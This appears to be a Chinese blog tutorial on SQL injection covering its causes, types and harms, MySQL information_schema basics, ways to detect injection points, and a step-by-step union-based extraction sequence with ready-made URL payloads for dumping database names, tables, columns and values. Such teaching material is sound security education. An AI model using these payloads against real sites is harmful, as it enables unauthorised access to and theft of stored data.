当前位置:网站首页>SQL注入
SQL注入
2022-07-06 09:22:00 【不知名白帽】
SQL注入
SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术
SQL注入产生原理
- 对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行。造成了SQL注入
- 使用了字符串拼接的方式构造SQL语句
SQL注入的分类
- 从注入手法分类可以分为:联合注入查询,报错型注入,布尔型注入,延时注入,堆叠注入
- 从注入类型上可以分为:字符型(即输入的输入使用符号进行过滤),数值型(即输入的输入未使用符号进行过滤)
- 从注入位置可以分为:GET数据(提交数据方式为GET,大多存在地址栏),POST(提交数据方式为POST,大多存在输入框中),HTTP头部(提交数据方式为HTTP头部),cookie数据(提交方式为cookie)
SQL注入的危害
分为两类:危害数据库里的数据,直接危害到网站的权限(需要满足条件)
- 数据库信息泄露
- 网页篡改:登陆后台发布恶意内容
- 网站挂马:当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
- 私自添加系统账号
- 读写文件获取webshell
MYSQL数据库
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。
必要知识
- 在MYSQL5.0以上的版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
- 数据库中符号“.”代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
- 常用参数
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
Table_name:表名
Column_name:列名
Table_schema:数据库名
User() 查看当前MYSQL登陆的用户名
Database() 查看当前使用MYSQL数据库名
Version() 查看当前MYSQL版本
如何判断注入点
- 如果页面中MYSQL报错,证明该页面中存在SQL注入漏洞
单引号’
And 1=1
And 1=2
Select * from users where id=1 and 1=1 limit 0,1 正常
Select * from users where id=1 and 1=2 limit 0,2 错误
- 逻辑运算符(或与非)
真且真 = 真
真且假 = 假
真或假 = 真
Select * from users where id=1 真
1=1 真
1=2 假
真且真=真
真且假=假
Select * from users where id=1 or 1=1 limit 0,1 正常
Select * from users where id=1 or 1=2 limit 0,1 正常
SQL注入利用
1.根据注入位置数据类型将sql注入分类
2.利用order判断字段数
Order by x(数字) 正确与错误的正常值 正确网页正常显示,错误网页报错
?id=1’ order by 3 --+
3.利用union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3 --+
4.利用函数database(),user(),version()可以得到所侦测数据库的数据库名,用户名和版本号
?id=-1 union select 1,database(),version() --+
5.利用 union select 联合查询,获取表名
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’已知库名’ --+
6.利用 union select 联合查询,获取字段名
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’已知表名’ --+
7.利用 union select 联合查询,获取字段值
?id=-1’ union select 1,2,group_connat(已知字段名,’:’,已知字段名) from 已知表名 --+
边栏推荐
- 小程序web抓包-fiddler
- 实验五 类和对象
- 深度强化文献阅读系列(一):Courier routing and assignment for food delivery service using reinforcement learning
- A complete collection of papers on text recognition
- 2. First knowledge of C language (2)
- UGUI—Text
- HackMyvm靶機系列(3)-visions
- 7-9 制作门牌号3.0(PTA程序设计)
- 7-15 h0161. 求最大公约数和最小公倍数(PTA程序设计)
- 1. First knowledge of C language (1)
猜你喜欢

A piece of music composed by buzzer (Chengdu)

Hackmyvm target series (3) -visions

Read only error handling

Safe driving skills on ice and snow roads

.Xmind文件如何上传金山文档共享在线编辑?

canvas基础2 - arc - 画弧线

Have you encountered ABA problems? Let's talk about the following in detail, how to avoid ABA problems

Strengthen basic learning records

Hackmyvm target series (4) -vulny

Record a penetration of the cat shed from outside to inside. Library operation extraction flag
随机推荐
Detailed explanation of redis' distributed lock principle
实验六 继承和多态
HackMyvm靶机系列(5)-warez
FAQs and answers to the imitation Niuke technology blog project (II)
Experiment 9 input and output stream (excerpt)
This time, thoroughly understand the MySQL index
HackMyvm靶机系列(3)-visions
Record a penetration of the cat shed from outside to inside. Library operation extraction flag
A comprehensive summary of MySQL transactions and implementation principles, and no longer have to worry about interviews
7-9 make house number 3.0 (PTA program design)
TypeScript快速入门
Wei Shen of Peking University revealed the current situation: his class is not very good, and there are only 5 or 6 middle-term students left after leaving class
Write a program to simulate the traffic lights in real life.
Why use redis
【数据库 三大范式】一看就懂
Hackmyvm target series (3) -visions
实验五 类和对象
Leetcode. 3. Longest substring without repeated characters - more than 100% solution
MATLAB打开.m文件乱码解决办法
Custom RPC project - frequently asked questions and explanations (Registration Center)